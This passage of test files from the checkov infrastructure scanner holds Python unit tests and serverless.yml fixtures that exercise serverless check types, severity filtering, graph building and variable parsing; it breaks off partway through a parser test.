self.assertEqual(summary['parsing_errors'], 0) for failed_check in report.failed_checks: del failed_check.entity_tags['__file__'] self.assertEqual(dict(sorted(failed_check.entity_tags.items())), {"RESOURCE": "lambda", "PUBLIC": "False"}) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/serverless/checks/example_CheckTypes/serverless.yml ================================================ service: name: myService awsKmsKeyArn: arn:aws:kms:us-east-1:XXXXXX:key/some-hash provider: name: aws runtime: nodejs12.x environment: SOME_PROVIDER_VAR: spv_value stackTags: MY_TAG: tag_value plugins: - some-plugin - some-other-plugin package: artifact: path/to/my-artifact.zip custom: my_custom_var: ${self:custom.another_custom_var} another_custom_var: sourced-in-value layers: hello: path: "yup/that/is/my/path" name: "a-layer" functions: myFunction: handler: myfunction.invoke ================================================ FILE: tests/serverless/checks/example_WildcardEntities/serverless.yml ================================================ service: usersCrud provider: name: aws functions: myFunc: name: myFunc tags: RESOURCE: lambda PUBLIC: false iamRoleStatements: - Effect: Allow Action: - "lambda:InvokeFunction" Resource: - "arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda" handler: Handler.handle timeout: 600 memorySize: 320 resources: # CloudFormation template syntax Resources: S3BucketPublicRead: Type: AWS::S3::Bucket Properties: AccessControl: Private BucketEncryption: ServerSideEncryptionConfiguration: - ServerSideEncryptionByDefault: SSEAlgorithm: AES256 ================================================ FILE: tests/serverless/checks/test_check_types.py ================================================ import os import unittest from checkov.common.models.enums import CheckCategories, CheckResult from checkov.serverless.checks.complete.base_complete_check import BaseCompleteCheck from checkov.serverless.checks.custom.base_custom_check import BaseCustomCheck from checkov.serverless.checks.function.base_function_check import BaseFunctionCheck from checkov.serverless.checks.layer.base_layer_check import BaseLayerCheck from checkov.serverless.checks.package.base_package_check import BasePackageCheck from checkov.serverless.checks.plugin.base_plugin_check import BasePluginCheck from checkov.serverless.checks.provider.base_provider_check import BaseProviderCheck from checkov.serverless.checks.service.base_service_check import BaseServiceCheck from checkov.serverless.runner import Runner from checkov.runner_filter import RunnerFilter CATS = [CheckCategories.APPLICATION_SECURITY] class TestCheckTypes(unittest.TestCase): def helper(self, check): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_CheckTypes" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 0) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) def test_complete_check(self): check = ATestCompleteCheck() self.helper(check) def test_custom_check(self): check = ATestCustomCheck() self.helper(check) def test_function_check(self): check = ATestFunctionCheck() self.helper(check) def test_layer_check(self): check = ATestLayerCheck() self.helper(check) def test_package_check(self): check = ATestPackageCheck() self.helper(check) def test_plugin_check(self): check = ATestPluginCheck() self.helper(check) def test_provider_check(self): check = ATestProviderCheck() self.helper(check) def test_service_check(self): check = ATestServiceCheck() self.helper(check) class ATestCompleteCheck(BaseCompleteCheck): def __init__(self): id = "CKV_TCT_0" super().__init__(name="test", id=id, categories=CATS, supported_entities=['serverless_aws']) def scan_complete_conf(self, conf): if isinstance(conf["service"], dict) and conf["service"].get("awsKmsKeyArn") != "arn:aws:kms:us-east-1:XXXXXX:key/some-hash": return CheckResult.FAILED if conf["provider"]["runtime"] != "nodejs12.x": return CheckResult.FAILED if conf["plugins"] != ["some-plugin", "some-other-plugin"]: return CheckResult.FAILED if conf["package"]["artifact"] != "path/to/my-artifact.zip": return CheckResult.FAILED if conf["custom"]["my_custom_var"] != "sourced-in-value": return CheckResult.FAILED if conf["layers"]["hello"]["path"] != "yup/that/is/my/path": return CheckResult.FAILED if conf["functions"]["myFunction"]["handler"] != "myfunction.invoke": return CheckResult.FAILED if conf["functions"]["myFunction"]["environment"]["SOME_PROVIDER_VAR"] != "spv_value": # enriched return CheckResult.FAILED if conf["functions"]["myFunction"]["tags"]["MY_TAG"] != "tag_value": # enriched return CheckResult.FAILED return CheckResult.PASSED class ATestCustomCheck(BaseCustomCheck): def __init__(self): id = "CKV_TCT_1" super().__init__(name="test", id=id, categories=CATS, supported_entities=['serverless_aws']) def scan_custom_conf(self, conf): if conf.get("my_custom_var") == "sourced-in-value": return CheckResult.PASSED else: return CheckResult.FAILED class ATestFunctionCheck(BaseFunctionCheck): def __init__(self): id = "CKV_TCT_2" super().__init__(name="test", id=id, categories=CATS, supported_entities=['serverless_aws']) def scan_function_conf(self, conf): if conf.get("handler") != "myfunction.invoke": return CheckResult.FAILED # Environment should be pulled in ("enriched") from provider block if conf["environment"]["SOME_PROVIDER_VAR"] != "spv_value": return CheckResult.FAILED # Tags should be pulled in ("enriched") from provider block (stackTags) if conf["tags"]["MY_TAG"] != "tag_value": return CheckResult.FAILED return CheckResult.PASSED class ATestLayerCheck(BaseLayerCheck): def __init__(self): id = "CKV_TCT_3" super().__init__(name="test", id=id, categories=CATS, supported_entities=['serverless_aws']) def scan_layer_conf(self, conf): if conf.get("path") == "yup/that/is/my/path": return CheckResult.PASSED else: return CheckResult.FAILED class ATestPackageCheck(BasePackageCheck): def __init__(self): id = "CKV_TCT_4" super().__init__(name="test", id=id, categories=CATS, supported_entities=['serverless_aws']) def scan_package_conf(self, conf): if conf.get("artifact") == "path/to/my-artifact.zip": return CheckResult.PASSED else: return CheckResult.FAILED class ATestPluginCheck(BasePluginCheck): def __init__(self): id = "CKV_TCT_5" super().__init__(name="test", id=id, categories=CATS, supported_entities=['serverless_aws']) def scan_plugin_list(self, plugin_list): if plugin_list == ["some-plugin", "some-other-plugin"]: return CheckResult.PASSED else: return CheckResult.FAILED class ATestProviderCheck(BaseProviderCheck): def __init__(self): id = "CKV_TCT_6" super().__init__(name="test", id=id, categories=CATS, supported_entities=['serverless_aws']) def scan_provider_conf(self, conf): if conf.get("runtime") == "nodejs12.x": return CheckResult.PASSED else: return CheckResult.FAILED class ATestServiceCheck(BaseServiceCheck): def __init__(self): id = "CKV_TCT_7" super().__init__(name="test", id=id, categories=CATS, supported_entities=['serverless_aws']) def scan_service_conf(self, conf): if isinstance(conf, dict) and conf.get("awsKmsKeyArn") == "arn:aws:kms:us-east-1:XXXXXX:key/some-hash": return CheckResult.PASSED else: return CheckResult.FAILED if __name__ == '__main__': unittest.main() ================================================ FILE: tests/serverless/checks/test_wildcard_entities.py ================================================ import os import unittest from checkov.common.models.enums import CheckCategories, CheckResult from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck from checkov.cloudformation.checks.resource.registry import cfn_registry as registry from checkov.serverless.runner import Runner from checkov.runner_filter import RunnerFilter class ServerlessCheck(BaseResourceCheck): def __init__(self): name = "Serverless test" id = "CKV_T_1" supported_resources = ['AWS::S3*'] categories = [CheckCategories.APPLICATION_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): return CheckResult.PASSED class TestWildcardEntities(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) check = ServerlessCheck() test_files_dir = current_dir + "/example_WildcardEntities" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() registry.wildcard_checks['AWS::S3*'].remove(check) self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 0) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/serverless/graph_builder/__init__.py ================================================ ================================================ FILE: tests/serverless/graph_builder/resources/serverless.yaml ================================================ service: acme-service frameworkVersion: "^2.30.0" plugins: - serverless-vpc-discovery custom: resources: ${file(./serverless.${opt:stage}.yml)} vpc: vpcName: acme-vpc subnetNames: - private-subnet-a - private-subnet-b securityGroupNames: - allow_out_to_vpc_endpoints - lambda_sg provider: region: us-east-1 name: aws runtime: python3.7 tracing: lambda: true deploymentBucket: ${self:custom.resources.deploymentBucket} environment: ${self:custom.resources.environment} iamManagedPolicies: - arn:aws:iam::aws:policy/ReadOnlyAccess iamRoleStatements: ${self:custom.resources.iamRoleStatements} ecr: images: base: path: ../../ file: ./path/to/Dockerfile functions: acmeFunc: image: base timeout: 120 memorySize: 3000 environment: EFS_MOUNT_PATH: ${self:custom.localMountPath} fileSystemConfig: localMountPath: ${self:custom.localMountPath} arn: 'arn:aws:elasticfilesystem:${self:provider.region}:#{AWS::AccountId}:access-point/${self:custom.resources.efsAccessPoint}' events: - sqs: arn: arn:aws:sqs:#{AWS::Region}:#{AWS::AccountId}:job_queue batchSize: 10 maximumBatchingWindow: 0 acmeFunc2: image: base environment: EFS_MOUNT_PATH: ${self:custom.localMountPath} CLEAN_UP_BEFORE_PROCESS: 'true' timeout: 900 memorySize: 9000 fileSystemConfig: localMountPath: ${self:custom.localMountPath} arn: 'arn:aws:elasticfilesystem:${self:provider.region}:#{AWS::AccountId}:access-point/${self:custom.resources.efsAccessPoint}' resources: Resources: ${file(./serverless.${opt:stage}.yml)} # just shouldn't raise an exception ================================================ FILE: tests/serverless/graph_builder/resources/serverless.yml ================================================ service: name: myService awsKmsKeyArn: arn:aws:kms:us-east-1:XXXXXX:key/some-hash provider: name: aws runtime: nodejs12.x environment: SOME_PROVIDER_VAR: spv_value stackTags: MY_TAG: tag_value plugins: - some-plugin - some-other-plugin package: artifact: path/to/my-artifact.zip custom: my_custom_var: ${self:custom.another_custom_var} another_custom_var: sourced-in-value layers: hello: path: "yup/that/is/my/path" name: "a-layer" functions: myFunction: handler: myfunction.invoke resources: Resources: ApiGatewayRestApi: Properties: BinaryMediaTypes: - "*/*" ================================================ FILE: tests/serverless/graph_builder/test_local_graph.py ================================================ from pathlib import Path from checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector from checkov.common.util.consts import LINE_FIELD_NAMES from checkov.serverless.graph_builder.graph_to_definitions import convert_graph_vertices_to_definitions from checkov.serverless.graph_manager import ServerlessGraphManager from checkov.serverless.utils import get_files_definitions, ServerlessElements RESOURCES_DIR = Path(__file__).parent / 'resources' def test_graph_from_file_def_and_graph_def(): # compare graph created from definition created by file and graph created by definition created from graph # given test_file = RESOURCES_DIR / "serverless.yaml" definitions_from_file, _ = get_files_definitions([str(test_file)]) graph_manager = ServerlessGraphManager(db_connector=RustworkxConnector()) local_graph = graph_manager.build_graph_from_definitions(definitions=definitions_from_file, render_variables=False) definition_from_graph, _ = convert_graph_vertices_to_definitions( vertices=local_graph.vertices, root_folder=test_file, ) local_graph_from_new_def = graph_manager.build_graph_from_definitions(definitions=definition_from_graph, render_variables=False) # then assert len(local_graph.vertices) == len(local_graph_from_new_def.vertices) assert len(local_graph.edges) == len(local_graph_from_new_def.edges) assert len(local_graph.vertices) == len(local_graph_from_new_def.vertices) assert len(local_graph.edges) == len(local_graph_from_new_def.edges) assert len(local_graph.vertices_by_block_type[ServerlessElements.PARAMS]) == len( local_graph_from_new_def.vertices_by_block_type[ServerlessElements.PARAMS]) assert len(local_graph.vertices_by_block_type[ServerlessElements.FUNCTIONS]) == len( local_graph_from_new_def.vertices_by_block_type[ServerlessElements.FUNCTIONS]) assert len(local_graph.vertices_by_block_type[ServerlessElements.PROVIDER]) == len( local_graph_from_new_def.vertices_by_block_type[ServerlessElements.PROVIDER]) assert len(local_graph.vertices_by_block_type[ServerlessElements.LAYERS]) == len( local_graph_from_new_def.vertices_by_block_type[ServerlessElements.LAYERS]) assert len(local_graph.vertices_by_block_type[ServerlessElements.CUSTOM]) == len( local_graph_from_new_def.vertices_by_block_type[ServerlessElements.CUSTOM]) assert len(local_graph.vertices_by_block_type[ServerlessElements.PACKAGE]) == len( local_graph_from_new_def.vertices_by_block_type[ServerlessElements.PACKAGE]) assert len(local_graph.vertices_by_block_type[ServerlessElements.PLUGINS]) == len( local_graph_from_new_def.vertices_by_block_type[ServerlessElements.PLUGINS]) assert len(local_graph.vertices_by_block_type[ServerlessElements.SERVICE]) == len( local_graph_from_new_def.vertices_by_block_type[ServerlessElements.SERVICE]) for vertex in local_graph.vertices: vertex_file = vertex.path vertex_name = vertex.name matching_vertex_index = local_graph_from_new_def.vertices_by_path_and_name[(vertex_file, vertex_name)] matching_vertex = local_graph_from_new_def.vertices[matching_vertex_index] for attribute, value in matching_vertex.config.items(): assert isinstance(vertex.config[attribute], type(value)) assert value == vertex.config[attribute] ================================================ FILE: tests/serverless/runner/__init__.py ================================================ ================================================ FILE: tests/serverless/runner/example_with_resources_from_file/Resources.yaml ================================================ Resources: UsernameOutsideOfLineRangeOfOriginalFile: Type: AWS::SSM::Parameter Properties: Description: "User" Name: /username Type: String Value: "user" ================================================ FILE: tests/serverless/runner/example_with_resources_from_file/serverless.yaml ================================================ service: ig-digital-djumbo-shared-params provider: name: aws region: us-west-2 resources: - ${file(./Resources.yaml)} ================================================ FILE: tests/serverless/runner/resources/serverless.yaml ================================================ service: acme-service frameworkVersion: "^2.30.0" plugins: - serverless-vpc-discovery custom: resources: ${file(./serverless.${opt:stage}.yml)} vpc: vpcName: acme-vpc subnetNames: - private-subnet-a - private-subnet-b securityGroupNames: - allow_out_to_vpc_endpoints - lambda_sg provider: region: us-east-1 name: aws runtime: python3.7 tracing: lambda: true deploymentBucket: ${self:custom.resources.deploymentBucket} environment: ${self:custom.resources.environment} iamManagedPolicies: - arn:aws:iam::aws:policy/ReadOnlyAccess iamRoleStatements: ${self:custom.resources.iamRoleStatements} ecr: images: base: path: ../../ file: ./path/to/Dockerfile functions: acmeFunc: image: base timeout: 120 memorySize: 3000 environment: EFS_MOUNT_PATH: ${self:custom.localMountPath} fileSystemConfig: localMountPath: ${self:custom.localMountPath} arn: 'arn:aws:elasticfilesystem:${self:provider.region}:#{AWS::AccountId}:access-point/${self:custom.resources.efsAccessPoint}' events: - sqs: arn: arn:aws:sqs:#{AWS::Region}:#{AWS::AccountId}:job_queue batchSize: 10 maximumBatchingWindow: 0 acmeFunc2: image: base environment: EFS_MOUNT_PATH: ${self:custom.localMountPath} CLEAN_UP_BEFORE_PROCESS: 'true' timeout: 900 memorySize: 9000 fileSystemConfig: localMountPath: ${self:custom.localMountPath} arn: 'arn:aws:elasticfilesystem:${self:provider.region}:#{AWS::AccountId}:access-point/${self:custom.resources.efsAccessPoint}' resources: Resources: ${file(./serverless.${opt:stage}.yml)} # just shouldn't raise an exception ================================================ FILE: tests/serverless/runner/resources/serverless.yml ================================================ service: name: myService awsKmsKeyArn: arn:aws:kms:us-east-1:XXXXXX:key/some-hash provider: name: aws runtime: nodejs12.x environment: SOME_PROVIDER_VAR: spv_value stackTags: MY_TAG: tag_value plugins: - some-plugin - some-other-plugin package: artifact: path/to/my-artifact.zip custom: my_custom_var: ${self:custom.another_custom_var} another_custom_var: sourced-in-value layers: hello: path: "yup/that/is/my/path" name: "a-layer" functions: myFunction: handler: myfunction.invoke resources: Resources: ApiGatewayRestApi: Properties: BinaryMediaTypes: - "*/*" ================================================ FILE: tests/serverless/runner/test_runner.py ================================================ import dis import inspect import os import unittest from collections import defaultdict from pathlib import Path from typing import Dict, Any from checkov.cloudformation.checks.resource.aws import * # noqa - prevent circular import from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.common.models.enums import CheckCategories, CheckResult from checkov.runner_filter import RunnerFilter from checkov.serverless.checks.function.base_function_check import BaseFunctionCheck from checkov.serverless.runner import Runner from checkov.serverless.checks.function.registry import function_registry from checkov.serverless.checks.provider.registry import provider_registry from checkov.serverless.checks.complete.registry import complete_registry from checkov.serverless.checks.custom.registry import custom_registry from checkov.serverless.checks.layer.registry import layer_registry from checkov.serverless.checks.package.registry import package_registry from checkov.serverless.checks.plugin.registry import plugin_registry from checkov.serverless.checks.service.registry import service_registry class TestRunnerValid(unittest.TestCase): def setUp(self) -> None: self.orig_checks = function_registry.checks def test_registry_has_type(self): self.assertEqual(function_registry.report_type, CheckType.SERVERLESS) self.assertEqual(provider_registry.report_type, CheckType.SERVERLESS) self.assertEqual(complete_registry.report_type, CheckType.SERVERLESS) self.assertEqual(custom_registry.report_type, CheckType.SERVERLESS) self.assertEqual(layer_registry.report_type, CheckType.SERVERLESS) self.assertEqual(package_registry.report_type, CheckType.SERVERLESS) self.assertEqual(plugin_registry.report_type, CheckType.SERVERLESS) self.assertEqual(service_registry.report_type, CheckType.SERVERLESS) def test_runner_honors_enforcement_rules(self): current_dir = os.path.dirname(os.path.realpath(__file__)) scan_dir_path = os.path.join(current_dir, "resources") runner = Runner() filter = RunnerFilter(framework=['serverless'], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.SERVERLESS: Severities[BcSeverities.OFF]} report = runner.run(root_folder=scan_dir_path, external_checks_dir=None, runner_filter=filter) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.skipped_checks), 0) self.assertEqual(len(report.parsing_errors), 0) def test_record_relative_path_with_relative_dir(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_dir_path = os.path.join(current_dir, "resources") # this is the relative path to the directory to scan (what would actually get passed to the -d arg) dir_rel_path = os.path.relpath(scan_dir_path).replace('\\', '/') runner = Runner() checks_allowlist = ['CKV_AWS_49'] report = runner.run(root_folder=dir_rel_path, external_checks_dir=None, runner_filter=RunnerFilter(framework='serverless', checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: # no need to join with a '/' because the CFN runner adds it to the start of the file path self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}') def test_record_relative_path_with_abs_dir(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_dir_path = os.path.join(current_dir, "resources") dir_rel_path = os.path.relpath(scan_dir_path).replace('\\', '/') dir_abs_path = os.path.abspath(scan_dir_path) runner = Runner() checks_allowlist = ['CKV_AWS_49'] report = runner.run(root_folder=dir_abs_path, external_checks_dir=None, runner_filter=RunnerFilter(framework='serverless', checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: # no need to join with a '/' because the CFN runner adds it to the start of the file path self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}') def test_record_relative_path_with_relative_file(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "serverless.yml") # this is the relative path to the file to scan (what would actually get passed to the -f arg) file_rel_path = os.path.relpath(scan_file_path) runner = Runner() checks_allowlist = ['CKV_AWS_49'] report = runner.run(root_folder=None, external_checks_dir=None, files=[file_rel_path], runner_filter=RunnerFilter(framework='serverless', checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: # no need to join with a '/' because the CFN runner adds it to the start of the file path self.assertEqual(record.repo_file_path, f'/{file_rel_path}') def test_record_relative_path_with_abs_file(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "serverless.yml") file_rel_path = os.path.relpath(scan_file_path) file_abs_path = os.path.abspath(scan_file_path) runner = Runner() checks_allowlist = ['CKV_AWS_49'] report = runner.run(root_folder=None, external_checks_dir=None, files=[file_abs_path], runner_filter=RunnerFilter(framework='serverless', checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: # no need to join with a '/' because the CFN runner adds it to the start of the file path self.assertEqual(record.repo_file_path, f'/{file_rel_path}') def test_wrong_check_imports(self): wrong_imports = ["arm", "cloudformation", "dockerfile", "helm", "kubernetes", "terraform"] check_imports = [] checks_path = Path(inspect.getfile(Runner)).parent.joinpath("checks") for file in checks_path.rglob("*.py"): with file.open() as f: instructions = dis.get_instructions(f.read()) import_names = [instr.argval for instr in instructions if "IMPORT_NAME" == instr.opname] for import_name in import_names: wrong_import = next((import_name for x in wrong_imports if x in import_name), None) if wrong_import: check_imports.append({file.name: wrong_import}) assert len(check_imports) == 0, f"Wrong imports were added: {check_imports}" def test_provider_function_att_type_mismatch(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "serverless.yaml") file_abs_path = os.path.abspath(scan_file_path) report = runner.run(files=[file_abs_path], runner_filter=RunnerFilter(framework='serverless'), root_folder="") self.assertEqual(0, len(report.parsing_errors)) self.assertLess(0, len(report.passed_checks + report.failed_checks)) def test_record_includes_severity(self): custom_check_id = "MY_CUSTOM_CHECK" function_registry.checks = defaultdict(list) class AnyFailingCheck(BaseFunctionCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["serverless_aws"] ) def scan_function_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.LOW] current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "serverless.yaml") file_abs_path = os.path.abspath(scan_file_path) report = Runner().run(files=[file_abs_path], runner_filter=RunnerFilter(framework=['serverless'], checks=[custom_check_id]), root_folder="") self.assertEqual(report.failed_checks[0].severity, Severities[BcSeverities.LOW]) def test_record_check_severity_omit(self): custom_check_id = "MY_CUSTOM_CHECK" function_registry.checks = defaultdict(list) class AnyFailingCheck(BaseFunctionCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["serverless_aws"] ) def scan_function_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.LOW] current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "serverless.yaml") file_abs_path = os.path.abspath(scan_file_path) report = Runner().run(files=[file_abs_path], runner_filter=RunnerFilter(framework=['serverless'], checks=['MEDIUM']), root_folder="") all_checks = report.failed_checks + report.passed_checks self.assertFalse(any(c.check_id == custom_check_id for c in all_checks)) def test_record_check_severity(self): custom_check_id = "MY_CUSTOM_CHECK" function_registry.checks = defaultdict(list) class AnyFailingCheck(BaseFunctionCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["serverless_aws"] ) def scan_function_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.HIGH] current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "serverless.yaml") file_abs_path = os.path.abspath(scan_file_path) report = Runner().run(files=[file_abs_path], runner_filter=RunnerFilter(framework=['serverless'], checks=['MEDIUM']), root_folder="") all_checks = report.failed_checks + report.passed_checks self.assertTrue(any(c.check_id == custom_check_id for c in all_checks)) def test_record_check_skip_severity_omit(self): custom_check_id = "MY_CUSTOM_CHECK" function_registry.checks = defaultdict(list) class AnyFailingCheck(BaseFunctionCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["serverless_aws"] ) def scan_function_conf(self, conf: Dict[str, Any], entity_type: str) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.LOW] current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "serverless.yaml") file_abs_path = os.path.abspath(scan_file_path) report = Runner().run(files=[file_abs_path], runner_filter=RunnerFilter(framework=['serverless'], skip_checks=['MEDIUM']), root_folder="") all_checks = report.failed_checks + report.passed_checks self.assertFalse(any(c.check_id == custom_check_id for c in all_checks)) def test_record_check_skip_severity(self): custom_check_id = "MY_CUSTOM_CHECK" function_registry.checks = defaultdict(list) class AnyFailingCheck(BaseFunctionCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["serverless_aws"] ) def scan_function_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.HIGH] current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "serverless.yaml") file_abs_path = os.path.abspath(scan_file_path) report = Runner().run(files=[file_abs_path], runner_filter=RunnerFilter(framework=['serverless'], skip_checks=['MEDIUM']), root_folder="") all_checks = report.failed_checks + report.passed_checks self.assertTrue(any(c.check_id == custom_check_id for c in all_checks)) def test_report_generation_when_using_resources_from_file(self): current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_dir = os.path.join(current_dir, "example_with_resources_from_file") report = Runner().run(root_folder=scan_file_dir, runner_filter=RunnerFilter(framework=['serverless'], checks=["CKV_AWS_384"])) passed_check_on_username_resource = report.passed_checks[0] assert passed_check_on_username_resource.code_block == [(24, ' UsernameOutsideOfLineRangeOfOriginalFile:\n'), (25, ' Type: AWS::SSM::Parameter\n'), (26, ' Properties:\n'), (27, ' Description: "User"\n'), (28, ' Name: /username\n'), (29, ' Type: String\n'), (30, ' Value: "user"\n')] def tearDown(self): function_registry.checks = self.orig_checks if __name__ == '__main__': unittest.main() ================================================ FILE: tests/serverless/test_parser.py ================================================ import os import unittest from checkov.serverless.parsers.parser \ import process_variables, _tokenize_by_commas, _token_to_type_and_loc, _parse_var IRRELEVANT_DIR = os.curdir class TestParser(unittest.TestCase): ######################################### # "Self" variable processing def test_self_simple(self): case = { "source": "var-data", "consumer": "${self:source}" } expected = { "source": "var-data", "consumer": "var-data" } self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR)) def test_self_with_default(self): case = { "consumer": "${self:source-of-var-data,aDefaultValue}" } expected = { "consumer": "aDefaultValue" } self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR)) def test_self_nexted(self): case = { "source": { "nested1": "value one", "more_nesting": { "nested2": "value two" } }, "consumer": "${self:source.nested1} - ${self:source.more_nesting.nested2} - ${self:bogus,aDefault}" } expected = { "source": { "nested1": "value one", "more_nesting": { "nested2": "value two" } }, "consumer": "value one - value two - aDefault" } self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR)) def test_self_invalid(self): case = { "consumer": "${self:bogus-no-default}" } expected = { "consumer": "${self:bogus-no-default}" } self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR)) def test_self_list(self): case = { "source": "var-data", "consumer-list": [ { "consumer": "${self:source}" } ] } expected = { "source": "var-data", "consumer-list": [ { "consumer": "var-data" } ] } self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR)) def test_self_real_world_data(self): case = { 'service': 'my-sls-service', 'custom': { 'my_sneaky_custom_var': '*', '__startline__': 4, '__endline__': 6 }, 'provider': { 'name': 'aws', 'runtime': 'python3.7', 'stackName': 'lambda-', 'tag': '${opt:tag}', 'iamRoleStatements': [ { 'Effect': 'Allow', 'Action': '${self:custom.my_sneaky_custom_var}', 'Resource': '${self:custom.my_sneaky_custom_var}', '__startline__': 13, '__endline__': 17 } ], '__startline__': 7, '__endline__': 17 }, 'functions': { 'myFunc': { 'name': 'myFunc-provider-level-with-var', 'tags': { 'RESOURCE': 'lambda', 'PUBLIC': False, '__startline__': 21, '__endline__': 23 }, 'iamRoleStatements': [ { 'Effect': 'Allow', 'Action': ['lambda:InvokeFunction'], 'Resource': [ 'arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda'], '__startline__': 24, '__endline__': 29 } ], 'handler': 'Handler.handle', 'timeout': 600, 'memorySize': 320, '__startline__': 19, '__endline__': 31 }, '__startline__': 18, '__endline__': 31 }, '__startline__': 1, '__endline__': 31 } expected = { 'service': 'my-sls-service', 'custom': { 'my_sneaky_custom_var': '*', '__startline__': 4, '__endline__': 6 }, 'provider': { 'name': 'aws', 'runtime': 'python3.7', 'stackName': 'lambda-', 'tag': '${opt:tag}', 'iamRoleStatements': [ { 'Effect': 'Allow', 'Action': '*', 'Resource': '*', '__startline__': 13, '__endline__': 17 } ], '__startline__': 7, '__endline__': 17 }, 'functions': { 'myFunc': { 'name': 'myFunc-provider-level-with-var', 'tags': { 'RESOURCE': 'lambda', 'PUBLIC': False, '__startline__': 21, '__endline__': 23 }, 'iamRoleStatements': [ { 'Effect': 'Allow', 'Action': ['lambda:InvokeFunction'], 'Resource': [ 'arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda'], '__startline__': 24, '__endline__': 29 } ], 'handler': 'Handler.handle', 'timeout': 600, 'memorySize': 320, '__startline__': 19, '__endline__': 31 }, '__startline__': 18, '__endline__': 31 }, '__startline__': 1, '__endline__': 31 } self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR)) def test_self_indirection(self): case = { "consumer": "${self:custom.forward} ${self:custom.four}", "custom": { "four": "4", "two": "2", "one": "1", "forward": "${self:custom.one} ${self:custom.two} ${self:custom.three}", "three": "${self:custom.tres}", "tres": "3" } } expected = { "consumer": "1 2 3 4", "custom": { "four": "4", "two": "2", "one": "1", "forward": "1 2 3", "three": "3", "tres": "3" } } self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR)) def test_self_circular_ref(self): case = { "custom": { "thing1": "${self:custom.thing2}", "thing2": "${self:custom.thing1}" } } result = 